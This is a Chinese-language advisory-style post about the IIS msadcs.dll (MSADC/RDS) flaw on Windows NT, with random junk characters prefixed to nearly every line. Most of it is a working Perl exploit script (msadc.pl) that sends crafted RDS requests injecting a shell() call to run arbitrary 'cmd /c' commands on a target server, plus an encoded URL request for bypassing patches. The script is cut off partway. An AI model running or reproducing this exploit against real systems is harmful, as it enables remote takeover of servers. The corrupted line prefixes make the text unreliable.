IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
(F5ttQPh zJl_ t0 涉及程序:
,x#ztdvr Microsoft NT server
X0i3 _RVa h}Ygb-uZ 描述:
mnQ'X-q3iO 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
4F#%f#" R}%8s* 详细:
8F6h#%9 如果你没有时间读详细内容的话,就删除:
^#SBpLw c:\Program Files\Common Files\System\Msadc\msadcs.dll
zy)i1d 有关的安全问题就没有了。
wq\G|/% \r-N(;m 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
U ":"geU IC~ljy]y_ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
&YX6"S_B 关于利用ODBC远程漏洞的描述,请参看:
VXC4% %$n02"@ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm dr]&kqm iJnh$jo 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
h|W%4|]R) http://www.microsoft.com/security/bulletins/MS99-025faq.asp TVkcDS $I8[BYblB 这里不再论述。
&9P<qU^N) a@W7<9fY; 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
OlGR<X
azGnP3_ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
@PXXt# 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
2ksA.,UB^9 )Vk:YL++ qi\n] I #将下面这段保存为txt文件,然后: "perl -x 文件名"
rO^xz7K^ {nRUH*(d9 #!perl
I' A:J #
uPU#c\ # MSADC/RDS 'usage' (aka exploit) script
d]7*mzw^j #
K-@bwB7~s # by rain.forest.puppy
M,..Kw/ }~ #
l%PnB
)F # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
jgRCs.6 # beta test and find errors!
o;;,iHu* qZsnd7o{l. use Socket; use Getopt::Std;
VkXn8J getopts("e:vd:h:XR", \%args);
~CFMIQ et p7 [(z
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
(j N]OE^ Wem?{kx0 if (!defined $args{h} && !defined $args{R}) {
[=~!w_ print qq~
iS-K
~qa Usage: msadc.pl -h <host> { -d <delay> -X -v }
4A o{M -h <host> = host you want to scan (ip or domain)
ND,`QjmZ -d <seconds> = delay between calls, default 1 second
_LLshV3 -X = dump Index Server path table, if available
3^ ~Zj95M -v = verbose
Czh8zB+r -e = external dictionary file for step 5
Mjw[:70 ~d+O/:=K_ Or a -R will resume a command session
.0
X$rX= Q
X):T#^V ~; exit;}
V.j#E1 P /Sj_y*x1e $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
;Jo*|pju if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
qw0~*0} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
k~|ZO/X@l% if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
cG(0q[ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
|_I[1%&`N if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
gMay 9:\A7 = if (!defined $args{R}){ $ret = &has_msadc;
pn*d[M|k die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
2}!R
T iiN?\OO^~ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Sw
"|iBZ@ . "cmd /c ";
D;C5,rNt $in=<STDIN>; chomp $in;
$Sw,hb $command="cmd /c " . $in ;
.f%vDBJS UzJ!Y / 5 if (defined $args{R}) {&load; exit;}
ASq`)Rz \7DCwu[0M print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
hU+#S(t>b &try_btcustmr;
pXNtN5@FQ kPedX print "\nStep 2: Trying to make our own DSN...";
ZIy(<0 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
d~/xGB`< 40+fGRyOL print "\nStep 3: Trying known DSNs...";
2%]t3\XW &known_dsn;
!ABLd|tP PHQcstW print "\nStep 4: Trying known .mdbs...";
dcP88!#5- &known_mdb;
w= B >vxWx[fRu if (defined $args{e}){
)BpIxWd? print "\nStep 5: Trying dictionary of DSN names...";
APOea &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
.S(^roM;+ ku-cn2M/ print "Sorry Charley...maybe next time?\n";
VLx T"]f exit;
iz(m3k:w ~QO<
B2hS} ##############################################################################
.Nk6 *V<)p%l. sub sendraw { # ripped and modded from whisker
F]0Jwm{ sleep($delay); # it's a DoS on the server! At least on mine...
WS5"!vz my ($pstr)=@_;
-BjEL; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
\`&xprqAw die("Socket problems\n");
%cd]xQpCp if(connect(S,pack "SnA4x8",2,80,$target)){
Ltl]j*yei select(S); $|=1;
_rG-#BKW8L print $pstr; my @in=<S>;
3U>S]#5} select(STDOUT); close(S);
$Uy#/MX return @in;
H!#5!m& } else { die("Can't connect...\n"); }}
sB8p(
L %'kX"}N/ ##############################################################################
epYj+T +O,V6XRr sub make_header { # make the HTTP request
Ho>p ^p my $msadc=<<EOT
QdirE4W POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
x6jm-n User-Agent: ACTIVEDATA
35}P0+ Host: $ip
JqQ3C}z Content-Length: $clen
&'NQ)Dn Connection: Keep-Alive
%qONJP )v};C< ADCClientVersion:01.06
Jfe~ ,cI Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
C\J@fpH(t` #'#4hJ*YC --!ADM!ROX!YOUR!WORLD!
Dn: Yi8= Content-Type: application/x-varg
VDPxue Content-Length: $reqlen
g8Ok ^ A?\h|u< EOT
D`8E-Bq ; $msadc=~s/\n/\r\n/g;
;g6 nHek return $msadc;}
V02309Y &8zk3 ##############################################################################
q~mcjbLz l(.7t' sub make_req { # make the RDS request
:S#eg1y.w] my ($switch, $p1, $p2)=@_;
ADTU{6UPS my $req=""; my $t1, $t2, $query, $dsn;
W;5N04ko TjT](?'o if ($switch==1){ # this is the btcustmr.mdb query
I8:"h $query="Select * from Customers where City=" . make_shell();
BzN/6VEw $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
3HXh6( e $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
;U8dm" YHJ' elsif ($switch==2){ # this is general make table query
F=:F>6` $query="create table AZZ (B int, C varchar(10))";
;.L!%$0i# $dsn="$p1";}
`Uu^I
69N1 mP elsif ($switch==3){ # this is general exploit table query
)0'Y et} $query="select * from AZZ where C=" . make_shell();
K~P76jAe$ $dsn="$p1";}
HE9.
k.sS "MW55OWYU elsif ($switch==4){ # attempt to hork file info from index server
kVy"+ZebK $query="select path from scope()";
>>/nuWdpO $dsn="Provider=MSIDXS;";}
1a \=0=[ M_yZR^;^- elsif ($switch==5){ # bad query
oC5gME"2 $query="select";
N45s'rF $dsn="$p1";}
F>p%2II/ hU |LFjc $t1= make_unicode($query);
Mf!owpW
T $t2= make_unicode($dsn);
,^Ex}Z $req = "\x02\x00\x03\x00";
B[C7G7<B $req.= "\x08\x00" . pack ("S1", length($t1));
bBd *}"v^" $req.= "\x00\x00" . $t1 ;
RJQ/y3 $req.= "\x08\x00" . pack ("S1", length($t2));
>:="?'N5l! $req.= "\x00\x00" . $t2 ;
g]:..W7 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
o,iS&U"TC return $req;}
4&#vU(-H r7zf+a] ##############################################################################
$[WN[J Ufyxw5u5F sub make_shell { # this makes the shell() statement
y[TaM9< return "'|shell(\"$command\")|'";}
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